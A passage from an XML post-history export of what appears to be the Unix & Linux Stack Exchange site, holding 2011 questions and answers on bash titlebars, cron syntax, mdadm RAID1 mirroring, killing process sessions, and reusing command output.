full-text search options available.&#xD;&#xA;" />
  <row Id="21359" PostHistoryTypeId="5" PostId="8989" RevisionGUID="38aa830d-e480-463b-8cd9-420e4417e276" CreationDate="2011-03-10T15:17:29.223" UserId="4671" Comment="added 248 characters in body; added 181 characters in body" Text="What would people recommend as a free (as in freedom) BitTorrent client on Linux? Wikipedia has a [Comparison of BitTorrent clients](http://en.wikipedia.org/wiki/Comparison_of_BitTorrent_clients). For the record, I'm currently using [QBittorrent](http://qbittorrent.sourceforge.net/), which I'm quite satisfied with, as of recent versions, which are nicely featured and stable. I'm currently running 2.6.7 on Debian Squeeze. The version on lenny (1.1) was a bit dodgy, but the project was quite young then.&#xD;&#xA;&#xD;&#xA;However, it does not hurt to learn what else is out there.&#xD;&#xA;I'm quite partial to Python software, if any Python BitTorrent clients exist. QBittorrent is written in C++. Many of the most popular BitTorrent clients are proprietary, judging by the Wikipedia page.&#xD;&#xA;&#xD;&#xA;EDIT: Thanks for all the recommendations. If the recommenders would like to explain why they like their preferred clients, I'd be happy to hear it. I know very little about what makes a bittorrent client good and would be glad to be educated. Also it would be nice if something could be said about Linux distribution support and possibly other OS's like FreeBSD and OS X, though I only use Debian and am unlikely to change.&#xD;&#xA;" />
  <row Id="21362" PostHistoryTypeId="2" PostId="9007" RevisionGUID="76421f06-8e0f-41fc-b565-64910e17f75d" CreationDate="2011-03-10T15:33:35.760" UserId="872" Text="My Bash Prompt is currently setting the xterm titlebar using the following sequence:&#xD;&#xA;&#xD;&#xA;    PS1='\033]0;\u@\h&gt;\w\007'&#xD;&#xA;&#xD;&#xA;Is there an easy way to display the current command in the titlebar. For example, if I am tailing a file using `tail -f foo.log`, I want my titlebar to say `tail -f foo.log`.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21363" PostHistoryTypeId="1" PostId="9007" RevisionGUID="76421f06-8e0f-41fc-b565-64910e17f75d" CreationDate="2011-03-10T15:33:35.760" UserId="872" Text="Display command in xterm titlebar" />
  <row Id="21364" PostHistoryTypeId="3" PostId="9007" RevisionGUID="76421f06-8e0f-41fc-b565-64910e17f75d" CreationDate="2011-03-10T15:33:35.760" UserId="872" Text="ébashàéxtermàétitlebarà" />
  <row Id="21365" PostHistoryTypeId="2" PostId="9008" RevisionGUID="972331ac-159d-4e35-96ee-6ed09acdd5f1" CreationDate="2011-03-10T15:41:50.963" UserId="73" Text="&lt;sub&gt;(Inspired by [this SU answer](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command))&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;You can combine a couple bash tricks:&#xD;&#xA;&#xD;&#xA;* If you trap a DEBUG signal, the handler is called before each command is executed&#xD;&#xA;* The variable `$BASH_COMMAND` holds the currently executing command&#xD;&#xA;&#xD;&#xA;So, trap DEBUG and have the handler set the title to `$BASH_COMMAND`:&#xD;&#xA;&#xD;&#xA;    trap 'echo -ne &quot;\033]0;$BASH_COMMAND\007&quot;' DEBUG&#xD;&#xA;&#xD;&#xA;This will keep the title changed until something else changes it, but as long as your `$PS1` stays the same it won't be a problem -- you start a command, the DEBUG handler changes the titlebar, and when the command finishes bash draws a new prompt and resets your titlebar again.&#xD;&#xA;&#xD;&#xA;A useful tip found [here](http://www.davidpashley.com/articles/xterm-titles-with-bash.html) (also where that SU answer came from) is to include:&#xD;&#xA;&#xD;&#xA;    set -o functrace&#xD;&#xA;&#xD;&#xA;This will make bash propagate the DEBUG trap to any subshells you start; otherwise the titlebar won't be changed in them" />
  <row Id="21366" PostHistoryTypeId="2" PostId="9009" RevisionGUID="2b6a17c9-b1bf-4d5c-b16f-6e541dd78486" CreationDate="2011-03-10T15:42:05.427" UserId="5454" Text="&#xD;&#xA;basically, you need:&#xD;&#xA;&#xD;&#xA;    trap 'echo -ne &quot;\033]0;$BASH_COMMAND\007&quot;' DEBUG&#xD;&#xA;&#xD;&#xA;at the end of your `.bashrc` or similar.  Took me a while to work this out -- see my answer [here][1] for more information :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/5076127/bash-update-terminal-title-by-running-a-second-command/5080670#5080670" />
  <row Id="21367" PostHistoryTypeId="2" PostId="9010" RevisionGUID="f0a78ed2-15f0-4c1e-bc02-553f529733bc" CreationDate="2011-03-10T15:55:39.893" UserId="2343" Text="QBittorrent is the only one I know of which offers a built in tracker ...  &#xD;&#xA;ie. if you want to personally use bittorrent to share a file amongst a known group and not make it a public torrent. *you* can become the tracker... And of course, it is a normal bittorrent client also..  The buitlt-in tracker is simply a secondary feature." />
  <row Id="21368" PostHistoryTypeId="5" PostId="8981" RevisionGUID="67c27203-8525-4e25-a126-d74d16dd7a17" CreationDate="2011-03-10T16:42:05.017" UserId="5589" Comment="added 163 characters in body" Text="For first-time Gentoo users, I strongly suggest using `genkernel` instead of plain `make menuconfig`. By default, `genkernel` will include all drivers it *thinks* is required.&#xD;&#xA;&#xD;&#xA;If you have the time, re-run `genkernel` and *gradually* reduce the drivers you don't need, edit `grub.conf`, and reboot. Keep reducing. Note the settings (get the `.config` file).&#xD;&#xA;&#xD;&#xA;In my case, I chose to do a re-installation, this time use the `.config` file and go straight to `make`. Not necessary, but I just dislike having many half-baked kernels lying around, plus some (possibly irrational) dislike of having to boot initrd.&#xD;&#xA;&#xD;&#xA;(Well, at least that's how * I * did it. Takes time, but ultimately satisfying :-) )" />
  <row Id="21369" PostHistoryTypeId="2" PostId="9011" RevisionGUID="ba02590d-beaf-4e7d-a632-6072aebb2ece" CreationDate="2011-03-10T16:51:39.853" UserId="4335" Text="Hello,&#xD;&#xA;&#xD;&#xA;I connect to Internet using `sudo wvdial` on Fedora 14. The terminal needs to be kept working. My requirement is to run `yum update` in a separate terminal, then kill wvdial &amp; its parent terminal and do `init 0` in a single command using `su -c`. &#xD;&#xA;&#xD;&#xA;Is there a way to kill child (here, `sudo wvdial`) and parent (here, terminal running wvdial) with a single command which can let me do the following?&#xD;&#xA;     &#xD;&#xA;    su -c 'yum update; kill-child-parent-processes; init 0'&#xD;&#xA;&#xD;&#xA;Here `kill-child-parent-processes` signifies the method using which I can kill `sudo wvdial` and its parent terminal.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="21370" PostHistoryTypeId="1" PostId="9011" RevisionGUID="ba02590d-beaf-4e7d-a632-6072aebb2ece" CreationDate="2011-03-10T16:51:39.853" UserId="4335" Text="Kill child-parent processes in a single command" />
  <row Id="21371" PostHistoryTypeId="3" PostId="9011" RevisionGUID="ba02590d-beaf-4e7d-a632-6072aebb2ece" CreationDate="2011-03-10T16:51:39.853" UserId="4335" Text="éprocessàékillà" />
  <row Id="21372" PostHistoryTypeId="2" PostId="9012" RevisionGUID="33478e0d-fe3b-4716-b290-088a54cb5718" CreationDate="2011-03-10T17:03:42.407" UserId="5605" Text="This might be useful for you: http://wiki.winehq.org/FAQ#head-c847a3ded88bac0e61aae0037fa7dbd4c7ae042a" />
  <row Id="21373" PostHistoryTypeId="5" PostId="8890" RevisionGUID="7f834356-49e5-4c2e-9ded-d270a59850b3" CreationDate="2011-03-10T17:15:44.280" UserId="2559" Comment="added 102 characters in body" Text="This command takes each path and truncates it to the top `n` folders. It's then piped into `uniq` to filter out the duplicates.&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | sed -n 's@^\(\([^/][^/]*/\)\{0,2\}\).*@\1@p' | uniq`&#xD;&#xA;&#xD;&#xA;The same thing can also be achieved using `grep`:&#xD;&#xA;&#xD;&#xA;`rsync -nPaAXz src_dir dst_dir | grep -oE &quot;^([^/]+/){0,2}&quot;`&#xD;&#xA;&#xD;&#xA;Although the above wont work with `GNU grep` versions `&lt; 2.5.3` due to a [**bug**][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/8892/trouble-with-grep-o-regex/8902#8902" />
  <row Id="21374" PostHistoryTypeId="25" PostId="9007" RevisionGUID="39c75280-6dd8-47f6-a3be-7b5a578ce004" CreationDate="2011-03-10T17:23:40.760" Comment="http://twitter.com/#!/StackUnix/status/45897622870958081" />
  <row Id="21375" PostHistoryTypeId="5" PostId="8876" RevisionGUID="dc863cfd-902b-4945-b5ac-59f7159b861a" CreationDate="2011-03-10T17:30:11.883" UserId="4778" Comment="added 362 characters in body" Text="I just checked in `menu-&gt;terminal-&gt;set character encoding` it is utf-8&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;The terminal and bash are not the same thing.&lt;/h1&gt;&#xD;&#xA;&#xD;&#xA;I would start by doing `cat utf-8-file` (cat and bash will pass this file unchanged to the terminal, (well actually to stty, stty will convert newline to carrage return, newline etc.)) if this displays the file properly then gnome-terminal is setup. (This so far is all I have ever done, as I use utf-8 in english; it was already set up in Ubuntu 10.10 and Debian 6 for me). So then just to set up bash etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;h1&gt;Re-reading ~/.bashrc&lt;/h1&gt;&#xD;&#xA;If you edit `~/.bashrc` you must re-read it `. ~/.bashrc` (or start a new shell) (dont forget the dot)" />
  <row Id="21376" PostHistoryTypeId="2" PostId="9013" RevisionGUID="a95f0cfa-1fe7-4772-bf89-375f7cde73b8" CreationDate="2011-03-10T17:49:55.653" UserId="3608" Text="I got the source code of unclutter using `apt-get source unclutter`, and copied the files to my embedded system.&#xD;&#xA;&#xD;&#xA;Now, how can I compile it?" />
  <row Id="21377" PostHistoryTypeId="1" PostId="9013" RevisionGUID="a95f0cfa-1fe7-4772-bf89-375f7cde73b8" CreationDate="2011-03-10T17:49:55.653" UserId="3608" Text="How can I compile unclutter to my embedded linux? (newbie)" />
  <row Id="21378" PostHistoryTypeId="3" PostId="9013" RevisionGUID="a95f0cfa-1fe7-4772-bf89-375f7cde73b8" CreationDate="2011-03-10T17:49:55.653" UserId="3608" Text="écompilingàésourceà" />
  <row Id="21379" PostHistoryTypeId="2" PostId="9014" RevisionGUID="f4f2cb23-2e1c-4866-bdc5-1e885a857467" CreationDate="2011-03-10T17:51:25.093" UserId="4477" Text="I have an idea. I tested this with small filesystems on loop devices I recommend you do the same before trying it yourself. In this answer /dev/sda is your disk with the important data and /dev/sdb is the new emtpy disk.&#xD;&#xA;&#xD;&#xA;    export DATA_DISK='/dev/sda'&#xD;&#xA;    export EMPTY_DISK='/dev/sdb'&#xD;&#xA;&#xD;&#xA;1. Create a degraded RAID1 array from the **empty disk**. This is important!&#xD;&#xA;&#xD;&#xA;        mdadm --create /dev/md0 --level=1 --raid-devices=2 &quot;${EMPTY_DISK}&quot; missing&#xD;&#xA;&#xD;&#xA;1. Then shrink the filesystem on the disk you want to mirror. (Hopefully it's supported.) This is needed because the RAID arrays have a header and the full filesystem won't fit on the array.&#xD;&#xA;&#xD;&#xA;1. Copy the data **to the new degraded array**.&#xD;&#xA;&#xD;&#xA;        dd if=&quot;${DATA_DISK}&quot; of=/dev/md0 bs=4k&#xD;&#xA;&#xD;&#xA;1. Add the original disk to the array.&#xD;&#xA;&#xD;&#xA;        mdadm --manage /dev/md0 --add &quot;${DATA_DISK}&quot;&#xD;&#xA;&#xD;&#xA;1. You can watch the synchronization progress.&#xD;&#xA;&#xD;&#xA;        watch 'cat /proc/mdstat'" />
  <row Id="21380" PostHistoryTypeId="5" PostId="9013" RevisionGUID="32a45bee-5164-4310-81de-dea57798cbb6" CreationDate="2011-03-10T17:59:12.980" UserId="3608" Comment="added 213 characters in body" Text="I got the source code of unclutter using `apt-get source unclutter`, and copied the files to my embedded system.&#xD;&#xA;&#xD;&#xA;Now, how can I compile it?&#xD;&#xA;&#xD;&#xA;**--update**&#xD;&#xA;&#xD;&#xA;I've tried this answer:&#xD;&#xA;http://unix.stackexchange.com/questions/173/how-to-compile-and-install-programs-from-source but it doesn't work here.. there's no &quot;.configure&quot; and `make` was not found." />
  <row Id="21381" PostHistoryTypeId="2" PostId="9015" RevisionGUID="7010e52b-d9c4-402f-b3f4-e18a465dd489" CreationDate="2011-03-10T18:13:23.077" UserId="5325" Text="You need to find out the session ID (`sid`) of the shell running in the terminal.&#xD;&#xA;&#xD;&#xA;    jinx:802 Z$ ps -p$$ -o sid&#xD;&#xA;     SESS&#xD;&#xA;    17424&#xD;&#xA;&#xD;&#xA;(Pedantry alert:  *usually* this is the same as `$$`.  If it's different then this may not work.)  You can then use this to kill the session running in the terminal.  You can't kill the terminal directly this way (it's in the window manager's session), but if the terminal is set to auto-close (as it usually is) then it will go away by itself.&#xD;&#xA;&#xD;&#xA;    jinx:803 Z$ pkill -s 17424&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21382" PostHistoryTypeId="2" PostId="9016" RevisionGUID="0f493384-6f75-4824-ab2d-b40a72629641" CreationDate="2011-03-10T18:17:06.457" UserId="5611" Text="What happens if I use '*' for the minutes value?&#xD;&#xA;Is the command going to be run every minute?&#xD;&#xA;For example: &#xD;&#xA;* 4 * * 0 &lt;command&gt;" />
  <row Id="21383" PostHistoryTypeId="1" PostId="9016" RevisionGUID="0f493384-6f75-4824-ab2d-b40a72629641" CreationDate="2011-03-10T18:17:06.457" UserId="5611" Text="Crontab syntax: using '*' for minutes value" />
  <row Id="21384" PostHistoryTypeId="3" PostId="9016" RevisionGUID="0f493384-6f75-4824-ab2d-b40a72629641" CreationDate="2011-03-10T18:17:06.457" UserId="5611" Text="écronà" />
  <row Id="21385" PostHistoryTypeId="2" PostId="9017" RevisionGUID="82774ed2-fab9-4496-b17d-d08ed7dcbfa4" CreationDate="2011-03-10T18:19:30.637" UserId="2180" Text="In order to compile things on that system, it needs to have make, gcc, and a whole lot of other stuff that's not usually found on embedded devices. Typically, you cross-compile it on another machine then put the binary on the embedded system.  You may be lucky enough to not have to compile it. You can get the binary for your architecture and try running it on the system.&#xD;&#xA;&#xD;&#xA;Cross compiling is a large topic, and there are lots of tools out there that try to make it easier. Some things to search for: linaro, buildroot, crosstool.&#xD;&#xA;&#xD;&#xA;To get the binary, go to packages.debian.org, search for the package that has the binary, download the appropriate one for your architecture (such as arm), open it with an archive manager, and look at the &quot;data&quot; folder - this will have the binaries. It may turn out that the binary needs libraries that are also not installed - you can do the same process - find the package with the library you need, copy the binary over to the target system and try again." />
  <row Id="21386" PostHistoryTypeId="2" PostId="9018" RevisionGUID="8ec46f4f-bc63-49d0-9551-8329cccd3571" CreationDate="2011-03-10T18:20:42.193" UserId="3270" Text="I'm not sitting at a debian-based box just now, but I think the answer is to use `apt-build`, but if your system is small, you may not have it by default, and might not even be able to fit all the bits it depends upon." />
  <row Id="21387" PostHistoryTypeId="2" PostId="9019" RevisionGUID="b835f023-c431-486d-b059-d418071576e0" CreationDate="2011-03-10T18:23:20.633" UserId="2180" Text="Yes, in your example, the command will run every minute of the 0400 hour on every Sunday.&#xD;&#xA;&#xD;&#xA;By the way, if you do need something to run every minute, it's likely that you're monitoring something for changes; there is typically a better way of doing this. For instance, on Linux there is `inotify` for waking programs based on filesystem events, and `ip monitor` for watching network status changes." />
  <row Id="21388" PostHistoryTypeId="5" PostId="9016" RevisionGUID="0ec2628e-c86a-4663-bf65-7ea59768caab" CreationDate="2011-03-10T18:28:23.063" UserId="2180" Comment="Code markup for example" Text="What happens if I use '*' for the minutes value?&#xD;&#xA;Is the command going to be run every minute?&#xD;&#xA;For example: &#xD;&#xA;`* 4 * * 0 &lt;command&gt;`" />
  <row Id="21389" PostHistoryTypeId="2" PostId="9020" RevisionGUID="d5b917fc-b3b0-4ee6-bb62-8a30209b0ffa" CreationDate="2011-03-10T18:35:14.167" UserId="4699" Text="You should never install a package with  `pacman -Sy $package`. It will eventually break your system, eat your kitten or worse, but you apparently did so. The move from python being python2 to python3 was made last year by the archlinux developers ([news article][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.archlinux.org/news/python-is-now-python-3/" />
  <row Id="21390" PostHistoryTypeId="2" PostId="9021" RevisionGUID="7eca54bd-fbca-4b4d-8e23-339f9befbe7a" CreationDate="2011-03-10T19:01:13.563" UserId="4" Text="Yes, this job will run every minute.&#xD;&#xA;&#xD;&#xA;Here are some relevant sections from [man 5 crontab][1]:&#xD;&#xA;&#xD;&#xA;       cron(8) examines cron entries once every minute.  The time and date fields are:&#xD;&#xA;&#xD;&#xA;              field          allowed values&#xD;&#xA;              -----          --------------&#xD;&#xA;              minute         0-59&#xD;&#xA;              hour           0-23&#xD;&#xA;              day of month   1-31&#xD;&#xA;              month          1-12 (or names, see below)&#xD;&#xA;              day of week    0-7 (0 or 7 is Sun, or use names)&#xD;&#xA;&#xD;&#xA;       A field may be an asterisk (*), which always stands for ``first-last''.&#xD;&#xA;&#xD;&#xA;The manpage says that if you use the asterisk (*) in the minute field, this is is equivalent to using &quot;0-59&quot; (``first-last''), and the job will run every minute in the hour.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/crontab" />
  <row Id="21391" PostHistoryTypeId="5" PostId="330" RevisionGUID="a1fa68be-be52-4d79-a99d-cb7bd4598958" CreationDate="2011-03-10T19:08:48.113" UserId="4" Comment="added 158 characters in body" Text="If you aren't seeing the mails, or if you are spamming root@yourcompany with the errors, try sending the output to Syslog instead:&#xD;&#xA;&#xD;&#xA;	*/5 * * * * yourcronjob 2&gt;&amp;1 | /usr/bin/logger -t yourtag&#xD;&#xA;&#xD;&#xA;Then, wait for the cronjob to run and look for the error in /var/log/messages (or /var/log/user.log on some systems).&#xD;&#xA;&#xD;&#xA;This works great for errors messages which are only 1-2 lines long, such as &quot;yourcronjob: command not found&quot;. It also makes use of your existing syslog infrastructure (Logrotation, central syslogging, Splunk, etc.) It also reduces email spam to root.&#xD;&#xA;&#xD;&#xA;It may not be a good solution if your cronjob generates hundreds of lines of output." />
  <row Id="21392" PostHistoryTypeId="2" PostId="9022" RevisionGUID="a9b2ccad-4c74-42ed-b859-1dc02019ea9d" CreationDate="2011-03-10T19:32:25.397" UserId="885" Text="You can create an mdraid RAID-1 array starting with an existing partition. First, you need to make room for the mdadm superblock, which means you need to shrink your filesystem a little.&#xD;&#xA;&#xD;&#xA;At the moment, the normal superblock format is [0.9](https://raid.wiki.kernel.org/index.php/RAID_superblock_formats#The_version-0.90_Superblock_Format). Its location is between 128kB and 60kB from the end of the partition, it is 4kB long, and it starts on an address that is a multible of 64kB. So shrink your filesystem by 128kB, or more precisely to ((device_size mod 64kB) - 1) * 64kB.&#xD;&#xA;&#xD;&#xA;If you want more than 2TB per stripe, you need the [1.0 superblock format](https://raid.wiki.kernel.org/index.php/RAID_superblock_formats#The_version-1_superblock_format_on-disk_layout), which isn't supported out-of-the-box by all distributions yet. The 1.0 superblock is at the end of the device, which I understand to mean that you only need to shrink your filesystem by 8kB.&#xD;&#xA;&#xD;&#xA;Now that you've shrunk the filesystem, you can create the array. First create a degraded array with just the existing data. Make sure the filesystem isn't mounted at this point. For your use case the write-intent bitmap must be on a separate partition. Use `-e 1.0` to use the newer version-1 superblock format.&#xD;&#xA;&#xD;&#xA;    mdadm --create /dev/md0 -e 0.9 -l 1 -n 2 \&#xD;&#xA;          --write-behind=256 --bitmap=/path/to/bitmap /dev/sda1 missing&#xD;&#xA;&#xD;&#xA;Now you can mount the filesystem in `/dev/md0`. Add the second disk at your leasure. The data will be copied to the new drive in the background.&#xD;&#xA;&#xD;&#xA;    mdadm --add /dev/md0 --write-mostly /dev/sdb1&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;*I've created a mirrored array like this, but without write-behind mode. I don't think write-behind mode would invalidate the procedure.*&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="21393" PostHistoryTypeId="2" PostId="9023" RevisionGUID="db80b9f0-e6e4-42a8-b247-72d1d71a60a2" CreationDate="2011-03-10T19:33:21.777" UserId="3447" Text="I use `vixie-cron`, so I don't know if this applies to everything.  But I have a `dead.letter` file that contains all the output of the job.&#xD;&#xA;&#xD;&#xA;In my `/root/` folder I have `crons.cron` which I set as my crontab by running `crontab /root/crons.cron`.  `dead.letter` will be created in `/root/` as well.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;I just Google'd `dead.letter`, and it's an undeliverable mail.  It has nothing to do with cron apparently.  If you don't have mail set up correctly (like me), you'll have the file." />
  <row Id="21394" PostHistoryTypeId="6" PostId="8405" RevisionGUID="96961469-738c-4d54-8b35-93c62c3ce0a6" CreationDate="2011-03-10T19:42:26.853" UserId="885" Comment="edited tags" Text="élinuxàékernelàécompilingàégentooà" />
  <row Id="21395" PostHistoryTypeId="6" PostId="4599" RevisionGUID="2152927c-f0a8-4e68-bb70-de59a7a94e3a" CreationDate="2011-03-10T19:42:46.323" UserId="885" Comment="edited tags" Text="élinuxàékernelàécompilingàérhelà" />
  <row Id="21396" PostHistoryTypeId="6" PostId="7631" RevisionGUID="50d7b148-db43-4df8-964a-8a79f0bbfca7" CreationDate="2011-03-10T19:43:19.570" UserId="885" Comment="edited tags" Text="élinuxàékernelàécompilingà" />
  <row Id="21397" PostHistoryTypeId="5" PostId="8405" RevisionGUID="3eac5ee6-54ba-4e6e-a010-525c9ceef0a7" CreationDate="2011-03-10T19:52:37.730" UserId="73" Comment="deleted 49 characters in body; edited title" Text="I configured a gentoo kernel (kernel-2.6.36-gentoo-r5), but when I boot it can't mount `/dev/sda1`:&#xD;&#xA;&#xD;&#xA;    ALERT! /dev/sda1 does not exist . Dropping to a shell .&#xD;&#xA;    &#xD;&#xA;I use the shell to go to the `/dev` directory, and I find that it have no `sda*` or `hd*` files. However, when I boot into my Debian kernel (vmlinuz-2.6.32-5-686), it can find and mount the `/dev/sda1` partition.&#xD;&#xA;&#xD;&#xA;What's the problem? How can I fix it? I didn't add any module names to `/etc/modules.autoload.d/kernel-2.6` file to let them auto-load during boot -- is that the cause of the problem?&#xD;&#xA;" />
  <row Id="21398" PostHistoryTypeId="4" PostId="8405" RevisionGUID="3eac5ee6-54ba-4e6e-a010-525c9ceef0a7" CreationDate="2011-03-10T19:52:37.730" UserId="73" Comment="deleted 49 characters in body; edited title" Text="Kernel can't find /dev/sda file during boot" />
  <row Id="21399" PostHistoryTypeId="2" PostId="9024" RevisionGUID="237b7c01-f198-42e4-889f-3ddecc517bad" CreationDate="2011-03-10T19:59:07.477" UserId="5613" Text="This is a noob question, but I'd like to know how to reuse the last output from the console, ie:&#xD;&#xA;&#xD;&#xA;    pv-3:method Xavier$ python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot;&#xD;&#xA;    /Library/Python/2.6/site-packages&#xD;&#xA;    pv-3:method Xavier$ cd **LASTOUTPUT**" />
  <row Id="21400" PostHistoryTypeId="1" PostId="9024" RevisionGUID="237b7c01-f198-42e4-889f-3ddecc517bad" CreationDate="2011-03-10T19:59:07.477" UserId="5613" Text="How do I reuse the last output from the command line?" />
  <row Id="21401" PostHistoryTypeId="3" PostId="9024" RevisionGUID="237b7c01-f198-42e4-889f-3ddecc517bad" CreationDate="2011-03-10T19:59:07.477" UserId="5613" Text="écommandölineà" />
  <row Id="21402" PostHistoryTypeId="6" PostId="9000" RevisionGUID="54357b3a-f9bf-4abc-9d90-8215b7085a4e" CreationDate="2011-03-10T20:00:20.053" UserId="885" Comment="edited tags" Text="élinuxàédataörecoveryà" />
  <row Id="21403" PostHistoryTypeId="2" PostId="9025" RevisionGUID="4c8bd8e8-9cfe-4e79-8af1-705ebe8c9dea" CreationDate="2011-03-10T20:01:06.527" UserId="3309" Text="I was actually just now on the phone with Oracle about an unrelated matter, and they've confirmed with me that it's now not possible to download any patches for Solaris outside of the Oracle support system ([http://support.oracle.com/][1]).&#xD;&#xA;&#xD;&#xA;Sorry to be the bearer of bad news.&#xD;&#xA;&#xD;&#xA;  [1]: http://support.oracle.com/" />
  <row Id="21404" PostHistoryTypeId="2" PostId="9026" RevisionGUID="82d667fe-0dd1-4783-a862-82e93aabe82d" CreationDate="2011-03-10T20:05:07.347" UserId="3976" Text="Assuming bash:&#xD;&#xA;&#xD;&#xA;    % python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot;&#xD;&#xA;    /usr/lib/python2.7/site-packages&#xD;&#xA;    % cd $(!!)&#xD;&#xA;    cd $(python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot;)&#xD;&#xA;    % pwd&#xD;&#xA;    /usr/lib/python2.7/site-packages" />
  <row Id="21405" PostHistoryTypeId="2" PostId="9027" RevisionGUID="02d58fc7-0b20-426f-bdbc-425543660cf1" CreationDate="2011-03-10T20:06:24.323" UserId="3309" Text="Try this:&#xD;&#xA;&#xD;&#xA;    $ cd $(python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot;)&#xD;&#xA;    $ pwd&#xD;&#xA;    /Library/Python/2.6/site-packages&#xD;&#xA;" />
  <row Id="21407" PostHistoryTypeId="2" PostId="9029" RevisionGUID="b5b3f439-ac73-4a11-a94b-86847f7f3b15" CreationDate="2011-03-10T20:09:38.933" UserId="5614" Text="I'd like to basically pipe a `wget` command to a file on a remote server over SSH. How can I do this? I know I could simply `ssh` into the server and have it download the file, but I'd much rather use the local machine to download it and send it. " />
  <row Id="21408" PostHistoryTypeId="1" PostId="9029" RevisionGUID="b5b3f439-ac73-4a11-a94b-86847f7f3b15" CreationDate="2011-03-10T20:09:38.933" UserId="5614" Text="How to wget a file to a remote machine over SSH?" />
  <row Id="21409" PostHistoryTypeId="3" PostId="9029" RevisionGUID="b5b3f439-ac73-4a11-a94b-86847f7f3b15" CreationDate="2011-03-10T20:09:38.933" UserId="5614" Text="ésshàéwgetà" />
  <row Id="21411" PostHistoryTypeId="2" PostId="9030" RevisionGUID="55e27f22-3d3d-4220-ae10-a9083a978b31" CreationDate="2011-03-10T20:11:31.993" UserId="885" Text="Since you have plenty of room in `/home`, move all the stuff from `/srv` into `/home`, then (optionally) move the stuff that was in `/home` to the root partition.&#xD;&#xA;&#xD;&#xA;The simplest solution, if you don't mind a few minutes' downtime, is to move `/srv` into the larger partition and symlink it:&#xD;&#xA;&#xD;&#xA;    mv /srv /home&#xD;&#xA;    ln -s /home/srv /&#xD;&#xA;&#xD;&#xA;If you really want to move `/home` to the root partition, then it takes a few renames. I assume there's no directory called `/home/srv` or `/srv/srv`.&#xD;&#xA;&#xD;&#xA;    mv /srv home&#xD;&#xA;    mkdir /srv&#xD;&#xA;    mount --move /home /srv&#xD;&#xA;    mv /srv/acme … /home/&#xD;&#xA;    mv /srv/srv/* /srv&#xD;&#xA;    rmdir /srv/srv&#xD;&#xA;&#xD;&#xA;Finally (if you're not using the symbolic link method) edit `/etc/fstab` to change the mount point: on the line that begins with `/dev/sda9 /home`, replace `/home` by `/srv`.&#xD;&#xA;" />
  <row Id="21412" PostHistoryTypeId="6" PostId="8986" RevisionGUID="b1fe043c-945e-4acd-a5f9-969a48389947" CreationDate="2011-03-10T20:13:35.457" UserId="885" Comment="edited tags" Text="étextöprocessingàécatà" />
  <row Id="21413" PostHistoryTypeId="5" PostId="8983" RevisionGUID="8cfed47f-47f4-43e7-91c6-e0c9297ec04a" CreationDate="2011-03-10T20:15:49.900" UserId="885" Comment="formatting; tags" Text="Could someone tell me how to set the default value of `nice` (as displayed by `top`) of a user? I have found that /etc/security/limits.conf is the place but if I put either:&#xD;&#xA;&#xD;&#xA;    username_of_a_guy  -  nice  19&#xD;&#xA;    username_of_a_guy  soft  nice  19&#xD;&#xA;    username_of_a_guy  hard  nice  19&#xD;&#xA;&#xD;&#xA;It doesn't work (while it should, right?).&#xD;&#xA;&#xD;&#xA;Note that I've rebooted since then.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you _very much_ in advance for any help. I'm using debian unstable (uptodate).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Context:&#xD;&#xA;&#xD;&#xA;At my work, we have a local network: everyone has its own computer and everyone can create an account on someone else's machine if one likes. The rule of thumb is simply that if you work on someone else computer, please nice your processes (`nice 19`).&#xD;&#xA;&#xD;&#xA;I would like to set the default nice value for a given user to 19 once and for all (he pretends he forgets all the time to nice).&#xD;&#xA;" />
  <row Id="21414" PostHistoryTypeId="6" PostId="8983" RevisionGUID="8cfed47f-47f4-43e7-91c6-e0c9297ec04a" CreationDate="2011-03-10T20:15:49.900" UserId="885" Comment="formatting; tags" Text="éloginàéniceàélimità" />
  <row Id="21416" PostHistoryTypeId="25" PostId="9024" RevisionGUID="7392508e-7a87-4404-82c5-0a79756fc511" CreationDate="2011-03-10T20:23:40.590" Comment="http://twitter.com/#!/StackUnix/status/45942920808894464" />
  <row Id="21417" PostHistoryTypeId="2" PostId="9032" RevisionGUID="550385d2-a2c9-44c0-bd57-2ece57e4acdf" CreationDate="2011-03-10T20:23:41.000" UserId="3169" Text="All the other solutions involve modifying your workflow or running the command twice, which might not be suitable if it takes a long time to run, or is not repeatable (e.g. it deletes a file - rerunning it would produce a different result).&#xD;&#xA;&#xD;&#xA;So here's a more complicated idea if you need it:&#xD;&#xA;&#xD;&#xA;**.bashrc**&#xD;&#xA;&#xD;&#xA;    exec &gt; &gt;(tee -a ~/$$.out)&#xD;&#xA;&#xD;&#xA;    PROMPT_COMMAND='LASTLINE=$(tail -n 1 ~/$$.out)'&#xD;&#xA;&#xD;&#xA;    trap 'rm ~/$$.out' EXIT&#xD;&#xA;&#xD;&#xA;**bash prompt**&#xD;&#xA;&#xD;&#xA;    $ python -c &quot;from distutils.sysconfig import get_python_lib; print get_python_lib()&quot;&#xD;&#xA;    /usr/lib/python2.6/dist-packages&#xD;&#xA;    $ cd $LASTLINE&#xD;&#xA;    $ pwd&#xD;&#xA;    /usr/lib/python2.6/dist-packages&#xD;&#xA;&#xD;&#xA;This has some issues, so it's just meant as a starting point.  For example, the output file (`~/&lt;pid&gt;.out`) might grow very large and fill up your disk.  Also, your whole shell could stop working if `tee` 